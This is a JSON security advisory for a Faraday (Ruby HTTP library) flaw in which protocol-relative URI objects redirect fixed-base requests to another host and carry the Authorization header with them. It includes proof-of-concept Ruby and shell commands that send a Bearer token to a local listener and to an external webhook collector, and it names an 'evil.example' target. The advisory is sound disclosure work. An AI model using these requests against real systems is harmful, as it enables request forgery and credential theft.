CVE-2026-33637: Faraday Protocol-relative URI Objects Still Bypass Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5rv5-xj5j-3484",
  "modified" : "2026-06-05T14:12:03Z",
  "published" : "2026-05-18T14:51:51Z",
  "aliases" : [ "CVE-2026-33637" ],
  "summary" : "Faraday has a possible incomplete fix for GHSA-33mh-2634-fwr2: protocol-relative URI objects still bypass host scoping",
  "details" : "## Summary\n\n`Faraday::Connection#build_exclusive_url` still allows protocol-relative host override when the request target is provided as a `URI` object instead of a `String`. This bypasses the February 2026 fix for `GHSA-33mh-2634-fwr2` and can redirect a request built from a fixed-base `Faraday::Connection` to an attacker-controlled host while preserving connection-scoped headers such as `Authorization`.\n\n## Affected Component\n\n- **Repository File(s)/Endpoint(s)**:\n  - `lib/faraday/connection.rb`\n  - `lib/faraday/request.rb`\n  - `spec/faraday/connection_spec.rb`\n  - `spec/faraday/request_spec.rb`\n- **Function(s)**:\n  - `Faraday::Connection#build_exclusive_url`\n  - `Faraday::Connection#run_request`\n  - `Faraday::Request#url`\n  - `Faraday::Request#to_env`\n- **Version(s) Tested**:\n  - `Faraday 2.14.1`\n  - repository HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n\n## Attacker Profile\n\n- **Who**: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection\n- **Access Required**: Ability to supply data that the application converts to `URI.parse(...)` and passes to `conn.get(...)`, `[conn.post](http://conn.post/)(...)`, or `req.url(...)`\n- **Capability**: Control over a protocol-relative URI such as `URI(\"//evil.example/pwn\")`\n\n## Steps to Reproduce\n\n1. Use the current repository checkout and load Faraday from `lib/`.\n2. Build a fixed-base connection and provide a protocol-relative `URI` object to `req.url`.\n3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.\n4. Observe that the connection-scoped `Authorization` header remains attached to the off-host request.\n\n### Verification Evidence\n\n- **Environment**: macOS, Ruby from local environment, Faraday `2.14.1`, `faraday-net_http`, local WEBrick listener on `127.0.0.1:4567`, HEAD `a01039c948d3e9e41e03d152aed7244f0fb4d5ca`\n- **Commands executed**:\n\n```bash\n$ ruby -e 'require \"webrick\"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: \"127.0.0.1\", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc(\"/\") { |req, res| res.status = 200; res.body = \"host=#{req.host}\\nauth=#{req[\"Authorization\"]}\\npath=#{req.path}\\n\" }; trap(\"INT\") { server.shutdown }; server.start'\n$ ruby -Ilib -e 'require \"faraday\"; require \"faraday/net_http\"; conn = Faraday.new(url: \"http://trusted.example/base\", headers: {\"Authorization\" => \"Bearer secret-token\"}) { |f| f.adapter :net_http }; target = [\"//127.0.0.1:4567\", \"/pwn\"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'\n```\n- **PoC code** (inline):\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(url: \"http://trusted.example/base\", headers: {\n  \"Authorization\" => \"Bearer secret-token\"\n}) { |f| f.adapter :net_http }\n\ntarget = [\"//127.0.0.1:4567\", \"/pwn\"].join\nresp = conn.get(URI(target))\n\nputs resp.status\nputs resp.body\n```\n- **Exit code**: `0`\n- **stdout** (relevant excerpt):\n\n```text\n200\nhost=127.0.0.1\nauth=Bearer secret-token\npath=/pwn\n```\n- **stderr** (relevant excerpt):\n\n```text\nN/A\n```\n- **Artifacts**: none\n\n### Additional External Confirmation\n\nThe issue was also independently reproduced against a public HTTP collector on Faraday `2.14.1` using the default `net_http` adapter:\n\n```ruby\nrequire \"faraday\"\nrequire \"faraday/net_http\"\n\nconn = Faraday.new(\n  url: \"http://trusted.example/base\",\n  headers: { \"Authorization\" => \"Bearer secret-token\" }\n) { |f| f.adapter :net_http }\n\ntarget = [\"//webhook.site\", \"/<collector-id>\"].join\nresp = conn.get(URI(target))\nresp.status\n# => 200\nresp.url.host\n# => \"webhook.site\"\n```\n\nThis external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.\n\n## Supporting Materials\n\n- Existing advisory for the original string-based issue: `GHSA-33mh-2634-fwr2`\n- Existing CVE for the original string-based issue: `CVE-2026-25765`\n- Existing regression tests for the string-only fix:\n  - `spec/faraday/connection_spec.rb:314-345`\n- Existing test proving supported `URI` request input:\n  - `spec/faraday/request_spec.rb:26-31`\n\n## Impact\n\nThe direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the\nconnection carries default headers or query parameters, those values are forwarded to the attacker-selected host.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "faraday"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "2.14.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.14.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lostisland/faraday/security/advisories/GHSA-5rv5-xj5j-3484"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33637"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-33mh-2634-fwr2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lostisland/faraday"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-33637.yml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-18T14:51:51Z",
    "nvd_published_at" : "2026-05-19T19:16:49Z"
  }
}